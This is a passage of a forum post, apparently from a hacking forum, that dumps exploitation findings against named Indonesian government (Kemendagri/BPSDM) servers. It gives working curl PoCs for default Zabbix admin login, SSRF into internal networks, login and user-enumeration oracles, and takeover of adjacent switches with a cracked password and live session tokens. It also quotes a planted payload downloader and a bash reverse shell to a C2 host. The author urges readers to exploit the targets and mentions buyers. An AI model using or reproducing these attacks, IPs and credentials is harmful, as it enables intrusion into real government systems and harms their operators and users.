object, full SSRF was confirmed: the Zabbix server can reach the internal FortiGate admin/SSL-VPN portal (https://172.16.20.1 → HTTP 200 login page), three internal Ruijie switches (http://192.168.7.3, http://10.10.15.4, http://10.10.11.3 → HTTP 200 RGOS web UI redirecting to /cgi-bin/luci/), the loopback Zabbix frontend (http://127.0.0.1:8080 → 200, len 3944), and the external internet (https://example.com → 200; C2 host pct-wp.s3.amazonaws.com → 403). A POST to the FortiGate login endpoint /logincheck produces a working authentication oracle (first response character: 0 = login failed, 2 = lockout); the leaked credentials admin/nocbpsdm and admin/NOCbpsdm123 failed, and the admin account was locked out. The attacker-planted webhook script (script 582, mt7wh_31518) is precisely a server-side SSRF probe targeting the MikroTik RouterOS API. This converts the default-credential Zabbix compromise into verified server-side reachability to the internal network management plane. Note: the JS object
is undefined, so raw TCP targets (MikroTik RouterOS binary API 8728) can only be probed over HTTP, which times out.
PoC:
Show Content
Spoiler
Login:
POST /api_jsonrpc.php user.login {"username":"Admin","password":"zabbix"} -> token
Execution:
script.execute {"scriptid":"582","hostid":10650}
-> {"response":"success","value":"Socket=undefined | HttpRequest=function |
methods=addHeader,...,get,post,... | local status=200 len=3944 |
8728getERR=Error: cannot get URL: Timeout was reached."}
Webhook script itself via script.create(type=5), then script.execute:
-> "https://172.16.20.1/ => 200 len=79 ::
<html> <script language=javascript>
top.location=\"/login\"; </script> </html>"
-> "http://192.168.7.3/ => 200 len=1368 ::
... window.location.href = './error.html?fromindex' ...
/cgi-bin/luci/"
FortiGate authentication oracle:
POST https://172.16.20.1/logincheck
body="ajax=1&username=admin&secretkey=nocbpsdm"
-> "http=200 resp=0"
"admin/bpsdmkemendagri => http=200 resp=2" (lockout)
3. CRITICAL — Compromised host: malicious global-script persistence + C2
Host: Zabbix server at http://43.229.20.137:8080
Impact: Malware distribution, internal pivoting, active C2 (S3 + payload downloader)
The Zabbix monitoring server behind http://43.229.20.137:8080 has already been weaponized by a previous actor: global scripts were planted to deliver bash reverse-shell/stagers with S3-based C2 (pct-wp.s3.amazonaws.com, c2w-dev-app-vcf.s3.amazonaws.com) and an external payload downloader (
from 80.87.206.86 / 85.137.54.178). Accessible using the same default Super Admin credentials (Admin/zabbix), this server is being used as a malware distribution/internal pivot point; the stager script "MyScripttest" is recreated approximately every four hours, indicating active automation.
PoC:
Show Content
Spoiler
script.get -> 896 "s63882":
"(wget ... http://80.87.206.86:18081/319418 || curl ...) &&
chmod 755 /tmp/.zb && /tmp/.zb app-zabbix"
MyScripttest base64:
"bash -c 'exec 3<>/dev/tcp/pct-wp.s3.amazonaws.com/80 ... | bash'"
4. CRITICAL — Default Credentials / Broken Authentication (Zabbix 7.0.6)
Endpoint: http://43.229.20.137:8080/api_jsonrpc.php
Host: zabbix.bpsdmkemendagri.id (BPSDM Kemendagri)
Impact: Super Admin API session, internal host enumeration, script execution on monitored hosts
The Zabbix 7.0.6 monitoring frontend at http://43.229.20.137:8080 (zabbix.bpsdmkemendagri.id, BPSDM Kemendagri) accepts the vendor's default credentials Admin/zabbix, granting a Super Admin API session. This session can enumerate monitored internal hosts (FortiGate firewall, Ruijie switches, routers) and enables full control of the monitoring server (script execution on monitored hosts, configuration changes), creating critical exposure of the internal network management plane.
PoC:
Show Content
Spoiler
Login:
curl -s -X POST "http://43.229.20.137:8080/api_jsonrpc.php" \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","method":"user.login","params":{"username":"Admin","password":"zabbix"},"id":1}'
-> {"jsonrpc":"2.0","result":"1cf693230cb81a8aeb21dd41d0f7d0f2","id":1}
Super Admin confirmation (roleid 3 = Super admin role) and internal hosts:
curl -s -X POST .../api_jsonrpc.php -H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","method":"user.get","params":{"output":["userid","username","roleid"]},"auth":"1cf693230cb81a8aeb21dd41d0f7d0f2","id":1}'
-> {"jsonrpc":"2.0","result":[
{"userid":"1","username":"Admin","name":"Zabbix","roleid":"3"},
{"userid":"3","username":"eos123","roleid":"3"}],"id":1}
curl -s -X POST .../api_jsonrpc.php \
-d '{"jsonrpc":"2.0","method":"host.get","params":{"output":["hostid","host","name"]},"auth":"1cf693230cb81a8aeb21dd41d0f7d0f2","id":1}'
-> {"jsonrpc":"2.0","result":[
{"hostid":"10667","host":"172.16.20.1","name":"FORTIGATE BPSDM"},
{"hostid":"10654","host":"10.10.16.2","name":"SW-Ruijie-Rack Server"},
{"hostid":"10652","host":"202.150.133.29","name":"Router Comnet at BPSDM"}]}
5. HIGH — Unauthenticated MinIO Console SSRF to loopback-only S3 admin API
Endpoint: https://103.245.225.197 — POST /api/v1/list-external-buckets
Impact: Internal account enumeration, unlimited brute-force oracle, arbitrary-path GET proxy to loopback MinIO
Unauthenticated SSRF in the internet-exposed MinIO Console at https://103.245.225.197 (POST /api/v1/list-external-buckets, which causes the server to fetch http://<targetURL>/minio/admin/v3/accountinfo) can be weaponized from a port-scanning oracle into a real credential primitive: because the endpoint signs the request using SigV4 with the attacker-supplied accessKey/secretKey before sending it to the loopback MinIO server (127.0.0.1:9000, not externally exposed), the server response distinguishes existing access keys from nonexistent ones and validates guessed secrets. This confirms that the access key "admin" EXISTS on the loopback object-storage admin account, giving an unauthenticated internet attacker: (1) internal account enumeration, (2) an unlimited online password-guessing oracle with no rate limit against the internal object-storage root account, and (3) through a second unauthenticated endpoint (GET /api/v1/download-shared-object/<base64url>, with the host locked to 127.0.0.1:9000 but the path fully attacker-controlled), an arbitrary-path request proxy to the loopback-only MinIO server. A list of 60,001 candidate passwords (rockyou entries of at least eight characters + 10k common passwords) did not recover the secret, and the loopback host exposes no other services (only 22/80/443/9000/9001 open), so object-data disclosure or admin takeover was NOT achieved. The confirmed impact is a network-boundary bypass, disclosure of a valid internal admin account name, and an unlimited brute-force oracle against an internal-only service.
PoC:
Show Content
Spoiler
1) Valid access-key disclosure (unauthenticated, no cookie):
curl -sk -X POST https://103.245.225.197/api/v1/list-external-buckets \
-H 'Content-Type: application/json' \
-d '{"accessKey":"admin","secretKey":"aaaaaaaa","targetURL":"127.0.0.1:9000","useTLS":false}'
-> {"detailedMessage":"The request signature we calculated does not match the
signature you provided. Check your key and signing method."}
(access key "admin" EXISTS)
curl ... -d '{"accessKey":"minioadmin","secretKey":"aaaaaaaa","targetURL":"127.0.0.1:9000","useTLS":false}'
-> {"detailedMessage":"The Access Key Id you provided does not exist in our records."}
(KEY DOES NOT EXIST -> clear existence oracle)
2) Second unauthenticated endpoint = arbitrary-path GET proxy to loopback MinIO:
curl -sk "https://103.245.225.197/api/v1/download-shared-object/$(python3 -c "import base64;print(base64.urlsafe_b64encode(b'http://127.0.0.1:9000/minio/health/live').decode().rstrip('='))")"
-> 200 (empty body)
path "/" -> 403
path "/minio/admin/v3/accountinfo" -> 403
path "/minio/v2/metrics/cluster" -> 403
(all protected paths are reachable)
3) Confirmed internal reachability / absence of other loopback services:
127.0.0.1:9000 -> {"detailedMessage":"The Access Key Id you provided does not exist in our records."}
127.0.0.1:9001 -> "S3 API Requests must be made to API port."
127.0.0.1:80/443 -> nginx 404/400 page
all other scanned loopback ports are closed;
RFC1918/link-local targets (10/8,172.16-31/12,192.168/16,169.254.169.254)
time out (filtered).
4) Unlimited brute force (no rate limiting):
60,001 candidate secrets for accessKey "admin"
(Seclists/rockyou entries >=8 characters + 10k most common)
all returned "signature does not match" or
"secretKey ... at least 8 chars long", with no 429/lockout;
no valid secret was recovered.
6. HIGH — Unauthenticated SSRF in MinIO Console /api/v1/list-external-buckets
Endpoint: https://103.245.225.197 — POST /api/v1/list-external-buckets (attacker-controlled targetURL)
Impact: Network-boundary bypass, internal port scanning, access to loopback services
The internet-exposed MinIO Console at https://103.245.225.197 exposes POST /api/v1/list-external-buckets without authentication. The endpoint accepts attacker-supplied S3 credentials and targetURL (host:port), then makes a server-side request to http(s)://<targetURL>/minio/admin/v3/accountinfo, returning the fetched response (or an error containing the upstream body) to the caller. Without a session or cookie, an attacker can force the server to send requests to arbitrary hosts and ports: it reaches loopback-only services (the nginx 404 page from 127.0.0.1:80 is reflected verbatim, as are responses from the MinIO server API at 127.0.0.1:9000 and the console backend at 127.0.0.1:9001), confirms external egress (the example.com HTML is reflected), and behaves as a port scanner (connection refused/reset/timeout versus open). The MinIO server API at 127.0.0.1:9000 is NOT exposed through the nginx frontend, making this a genuine network-boundary bypass combined with a missing-authorization flaw in an administrative feature.
PoC:
Show Content
Spoiler
Unauthenticated SSRF (no cookie); targetURL controls the host:port, and the response body is reflected in the error:
curl -sk -X POST https://103.245.225.197/api/v1/list-external-buckets \
-H "Content-Type: application/json" \
--data '{"accessKey":"aaaa","secretKey":"bbbbbbbb","targetURL":"127.0.0.1","useTLS":false}'
-> {"detailedMessage":"Failed to parse server response (invalid character '<'
looking for beginning of value): <html>\r\n<head><title>404 Not Found
</title></head>...\n<hr><center>nginx/1.18.0 (Ubuntu)</center>...",
"message":"an error occurred, please try again"}
External egress:
targetURL":"example.com:80"
-> response body contains "<title>Example Domain</title>".
Internal-only service reachability + port scanning:
targetURL":"127.0.0.1:9000"
-> {"detailedMessage":"The Access Key Id you provided does not exist in our records.",...}
(MinIO server, not exposed to the internet)
targetURL":"127.0.0.1:9001"
-> {"detailedMessage":"S3 API Requests must be made to API port.",...}
(console backend)
targetURL":"127.0.0.1:3000"
-> dial tcp 127.0.0.1:3000: connect: connection refused
A fake cookie ("Cookie: token=garbage") does not affect the result,
confirming that the handler performs no session check.
7. HIGH — Nextcloud 25.0.2: no brute-force protection on WebDAV basic auth (CVE-2023-32319)
Host: cloud-adwil.kemendagri.go.id
Version: Nextcloud 25.0.2 (end-of-life)
Impact: Unlimited online password guessing, potential account takeover
The end-of-life Nextcloud 25.0.2 instance at cloud-adwil.kemendagri.go.id does not rate-limit failed WebDAV basic-auth requests: 105 consecutive incorrect password attempts using the non-email username "brute_test_acct" all returned HTTP 401 without 429/Retry-After, and the account/IP remained unblocked afterward. The sibling instances drive-dwp (30.0.6) and drive-pkk (30.0.2) return HTTP 429 for the same requests, demonstrating that the protection exists but is missing on this host. This matches CVE-2023-32319 ("Missing brute-force protection on the WebDAV endpoints via the basic auth header ... when the supplied username is not an email address", fixed in 25.0.5/26.0.0); CVE-2023-32320 (limit bypass via parallel requests, fixed in 25.0.7) also applies to the same host. Impact: an unauthenticated attacker can perform unlimited online password guessing against Nextcloud accounts, including admin accounts, potentially enabling account takeover and access to synchronized files. Common password lists and approximately 165 curated words were rejected for admin/administrator/nextcloud/root/etc., so no credentials were actually cracked, but attempts are not rate-limited.
PoC:
Show Content
Spoiler
cloud-adwil:
for i in $(seq 1 60); do
curl -s -k -m 10 -o /dev/null -w "%{http_code}\n" \
-u brute_test_acct:pw$i https://cloud-adwil.kemendagri.go.id/remote.php/webdav/
done | sort | uniq -c
-> 60 401
Follow-up single request after a total of 105 failures -> http=401 (no 429)
Sibling controls, same loop:
drive-dwp.kemendagri.go.id -> all 429
drive-pkk.kemendagri.go.id -> all 429
OCS on drive-dwp:
<statuscode>429</statuscode><message>Reached maximum delay</message>
8. HIGH — Credential Reuse: authenticated takeover of adjacent network devices
Source: Root shell on switch 10.10.15.4 (finding 1)
Credentials: NOCbpsdm123 (cracked from /etc/shadow, also stored as an SNMP read-write community)
Targets: 10.10.15.8, 10.10.15.9, 192.168.7.3, 10.10.11.3
The root shell on the pre-auth-RCE switch 10.10.15.4 (finding 382) revealed the device admin password NOCbpsdm123 (cracked from /etc/shadow and also stored as an SNMP read-write community). Using the switch's embedded Linux shell as a jump host, the same password yielded valid authenticated administrator sessions on four adjacent Ruijie devices on the internal management network: 10.10.15.8, 10.10.15.9, 192.168.7.3, and 10.10.11.3. The latter two had previously been assessed as patched against RCE but remain fully susceptible to takeover through credential reuse. Ruijie eweb login encrypts passwords using a per-device Gibberish-AES key scraped from each device's own login page, so reuse is not prevented by any per-device secret. Every successful login returned a live session (sid + token) and device serial number, demonstrating administrative control over the management plane.
PoC:
Show Content
Spoiler
From the already-compromised switch (10.10.15.4), via curl, after scraping each device's AES key from its login page:
echo -n NOCbpsdm123 | openssl enc -aes-256-cbc -md md5 -salt \
-pass pass:<per-device-key> -base64 -A
curl -sk -X POST https://<host>/cgi-bin/luci/api/auth \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","method":"login","params":{"username":"admin","time":"<ts>","encry":true,"pwd":"<AES>","isCheckReadAgreement":"true"},"id":1}'
10.10.15.8 (key 3558b17272ef3250afec79f4612797a6)
-> {"code":0,"data":{"token":"caf4a568be23207bbae430c9c79cd594",
"sn":"G1T91ZY00774C","sid":"3b72551da9292e1b8eb0748adcf6217c"}}
10.10.15.9 (key c736aa00e119b63be33758fc9ec63f7f)
-> {"code":0,"data":{"token":"56c4be98a218c8cc15f1d0946e506c0c",
"sn":"G1T91SF00453B","sid":"11d3db7cd575226f37eb4bd1fd740672"}}
192.168.7.3 (key 848e1a3359a80430b1d40b70a9b96f6e)
-> {"code":0,"data":{"token":"a2720851bf653fb16d5ec1ec71147a56",
"sn":"G1T91ZY00772B","sid":"0dea67dea613a08770009c8fa7187684"}}
10.10.11.3 (key 18bc01bab369945fad3bbaac55e98b49)
-> {"code":0,"data":{"token":"c99eae854c056643f1174088a9193381",
"sn":"G1T91ZY006582","sid":"0a1c41497bb4a9330089a96f98ad3637"}}
9. HIGH — Adminer 4.8.1 exposed to the internet on shared SID origin (pre-auth PostgreSQL + SSRF)
Origin: 103.245.225.58 — /admin/ (all Host headers)
Impact: Pre-auth access to local PostgreSQL, SSRF to unprivileged ports
The shared SID origin 103.245.225.58 serves an Adminer 4.8.1 database management interface at /admin/ for EVERY Host header (all ~150 <kabupaten>.sipd.kemendagri.go.id names and even random ones), without IP restrictions. Although PHP lacks MySQL extensions, Adminer's PostgreSQL driver works and reaches the LOCAL PostgreSQL server (Unix-socket peer authentication, with the PHP process running as OS user "apache"), which is otherwise not exposed, and its Elasticsearch driver provides a pre-auth SSRF primitive to unprivileged ports. This turns an unauthenticated public web path into an entry point to the application database tier.
PoC:
Show Content
Spoiler
Recon/bypass:
curl -sk --resolve bandung.sipd.kemendagri.go.id:443:103.245.225.58 \
https://bandung.sipd.kemendagri.go.id/admin/ | grep -o 'Adminer [0-9.]*'
-> "Adminer 4.8.1"
(HTTP 200, served for arbitrary Host headers such as randomxyz123.sipd.kemendagri.go.id)
MySQL unavailable:
POST auth[driver]=server&auth[username]=root&auth[password]=
-> "None of the supported PHP extensions (MySQLi, MySQL, PDO_MySQL) are available."
Local PostgreSQL reachable (TCP):
POST auth[driver]=pgsql&auth[server]=localhost:5432&auth[username]=x
-> "Unable to connect to PostgreSQL server: FATAL: Ident authentication failed for user \"x\"."
Local PostgreSQL reachable (socket/peer) + PHP OS user:
POST auth[driver]=pgsql&auth[server]=/var/run/postgresql/ with an empty username
-> "FATAL: role \"apache\" does not exist" (=> PHP-FPM user is apache)
with username=www-data -> "FATAL: Peer authentication failed for user \"www-data\""
SSRF primitive:
POST auth[driver]=elastic&auth[server]=127.0.0.1:80
-> "Connecting to privileged ports is not allowed."
targeting 103.245.225.215:3306 -> request hangs for ~25s (outbound connection is attempted)
Ports <1024 are blocked; ports >=1024 are allowed.
Port exposure:
nmap -Pn 103.245.225.58 => only 80/tcp and 443/tcp are open
(PostgreSQL 5432 is NOT exposed to the internet => Adminer is the only route to it)
Caveat: completing peer-auth login (role "apache") is blocked by
Adminer IP/session brute-force lockout ("Too many unsuccessful logins,
try again in 28 minutes"), which persists across new cookie jars
and spoofed X-Forwarded-For; database authentication was not obtained.
10. MEDIUM — Nextcloud username enumeration via public profile endpoint /u/<userId>
Host: cloud-adwil.kemendagri.go.id
Impact: Disclosure of valid account lists, department/organizational structure
The Nextcloud 25.0.2 EOL instance at cloud-adwil.kemendagri.go.id exposes an unauthenticated username-enumeration oracle: GET /u/<userId> returns a public profile page (HTTP 200, embedding the base64-encoded core-profileParameters initial state with userId/displayname) for VALID accounts, but falls back to the login page for nonexistent accounts. Without any credentials, the valid accounts 'admin', 'backup', and 'keuangan' were confirmed (with display names 'admin', 'Data Bagian Perencanaan', and 'Bagian Keuangan'), revealing department/organizational structure and providing an accurate unauthenticated list of valid accounts for targeted password guessing (non-email usernames ignored by this host's CVE-2023-32319 throttling path). This is a real, verified information-disclosure weakness; it does not independently grant access.
PoC:
Show Content
Spoiler
curl -sk https://cloud-adwil.kemendagri.go.id/u/admin
-> HTTP 200, len=15532, body contains initial-state-core-profileParameters
which base64-decodes to {"userId":"admin","displayname":"admin",...}
curl -sk https://cloud-adwil.kemendagri.go.id/u/nonexistentzzz
-> login page, len=14800 (login body)
The same oracle confirms /u/backup (displayname 'Data Bagian Perencanaan')
and /u/keuangan (displayname 'Bagian Keuangan').
Reproduction:
for u in admin backup keuangan nonexistentzzz; do
curl -sk -o body -w "%{http_code} %{size_download} $u\n" \
https://cloud-adwil.kemendagri.go.id/u/$u
grep -o 'core-profileParameters' body
done
11. MEDIUM — SID origin 103.245.225.58 accepts arbitrary Host headers (Cloudflare bypass)
Origin: 103.245.225.58
Impact: CDN/WAF bypass, direct access to the entire ~150-host cluster
The shared SID Laravel application is served directly from origin 103.245.225.58 and derives the tenant/region from the FIRST LABEL of the HTTP Host header, ignoring the rest of the hostname: any hostname whose first label is a recognized region ('sipd', or a regency such as 'bandung') receives HTTP 200 even when the remainder is attacker-controlled (e.g. Host: sipd.kemendagri.go.id.evil.com -> 200/20836B; Host: bandung.sipd.kemendagri.go.id.attacker.net -> 200/21160B). The public FQDN sipd.kemendagri.go.id returns 403 through Cloudflare, so the origin provides a direct CDN/WAF bypass to the entire ~150-host cluster. The homepage also leaks an internal IP through console.log("172.24.4.36"). Separately, note that the login boundary itself could not be exploited: the JS-built login route POST /pusat/main/<apel>/login returns 404 on this origin, and the only actual action route /{seg}/main returns a constant 500, so no SQLi/auth-bypass evidence was obtained there.
PoC:
Show Content
Spoiler
$ for h in sipd.kemendagri.go.id.evil.com bandung.sipd.kemendagri.go.id.attacker.net test.sipd.kemendagri.go.id; do
curl -sk -o /dev/null -w "$h %{http_code} %{size_download}\n" \
https://103.245.225.58/ -H "Host: $h"
done
sipd.kemendagri.go.id.evil.com 200 20836
bandung.sipd.kemendagri.go.id.attacker.net 200 21160
test.sipd.kemendagri.go.id 404 10578
$ curl -sk -o /dev/null -w "%{http_code}\n" https://sipd.kemendagri.go.id/
403
(Cloudflare front end)
$ grep -o 'console.log' login.html
console.log("172.24.4.36")
12. LOW — Repository/deployment files exposed under /home/ (CodeIgniter stack + default template credentials disclosure)
Host: assessment.kemendagri.go.id
Impact: Stack disclosure, application provenance, default template credentials
The web root of assessment.kemendagri.go.id serves CodeIgniter application source-repository metadata files at /home/README.md (200), /home/composer.json (200), /home/CONTRIBUTING.md (200), and /home/.editorconfig (200). README.md contains the original template installation guide and discloses the framework (CodeIgniter 3 + SB Admin 2), the application's origin (the "Aplikasi Penjualan" POS template), and the template's DEFAULT LOGIN CREDENTIALS (admin: nugrohoff / pwd_nugroho, kasir: KSR58 / pwd_fakhrul). These defaults were tested against /home/login/proses_login and did NOT authenticate (both returned 303 -> /home/ with "Salah!"), but the disclosure still exposes the stack, application provenance, and credential material that could be reused in password-reuse attacks.
PoC:
Show Content
Spoiler
curl -s http://assessment.kemendagri.go.id/home/README.md
-> "# Aplikasi Penjualan With CodeIgniter 3 Framework & SB Admin 2 Template ...
username = `nugrohoff` and password `pwd_nugroho` ...
username = `KSR58` and password `pwd_fakhrul`"
curl -s http://assessment.kemendagri.go.id/home/composer.json
-> {"name":"codeigniter/framework", ... "dompdf/dompdf": "^0.8.4"}
Login test:
curl -s -i -X POST -d 'username=nugrohoff&password=pwd_nugroho&login=Login' \
http://assessment.kemendagri.go.id/home/login/proses_login
-> HTTP/1.1 303 See Other,
Location: http://assessment.kemendagri.go.id/home/ (login failed)
13. LOW — MariaDB 10.11.18 pre-auth username enumeration (103.27.206.204:3306)
Host: 103.27.206.204:3306
Version: MariaDB 10.11.18
Impact: Pre-authentication enumeration of valid database users
The internet-exposed MariaDB 10.11.18 service at 103.27.206.204:3306 discloses valid account names before authentication: failed logins for users that EXIST return error 1698 ("Access denied for user 'x'@Host"), while nonexistent users return error 1045 ("... (using password: YES)"). This provides an unauthenticated remote oracle for enumerating valid database users, narrowing subsequent credential brute-force attempts. No valid password was found (1,152 common username/password pairs were rejected), but the account list was exposed.
PoC:
Show Content
Spoiler
python3 pymysql to 103.27.206.204:3306, incorrect password:
user=root errno=1698 msg=Access denied for user 'root'@'myip'
user=nosuchuserzzz errno=1045 msg=Access denied for user 'nosuchuserzzz'@'myip'
(using password: YES)
Enumerated EXISTING users:
root, admin, test, web, netadmin, guest, dba, phpmyadmin
(all return 1698)
If you get profit don't forget me. 4 CRITICAL, 5 HIGH, 2 MEDIUM, 2 LOW.
If this is useful, please just comment.
If this is useful please just comment Please take advantage and exploit it, because I am very happy today to meet many buyers.
Reply
Reply
Reply
Reply
Reply
Posts: 38
Threads: 0
Joined: Jan 2026
Wonderful thank you. Stay healthy always for you
Reply
Reply
Reply
Reply
Reply
Posts: 5
Threads: 0
Joined: Oct 2026
amazing dude
Reply
Reply
Reply
Reply
Reply
Posts: 313
Threads: 0
Joined: Jun 2026
thanks!
Reply
Reply
Reply
Reply
Reply
|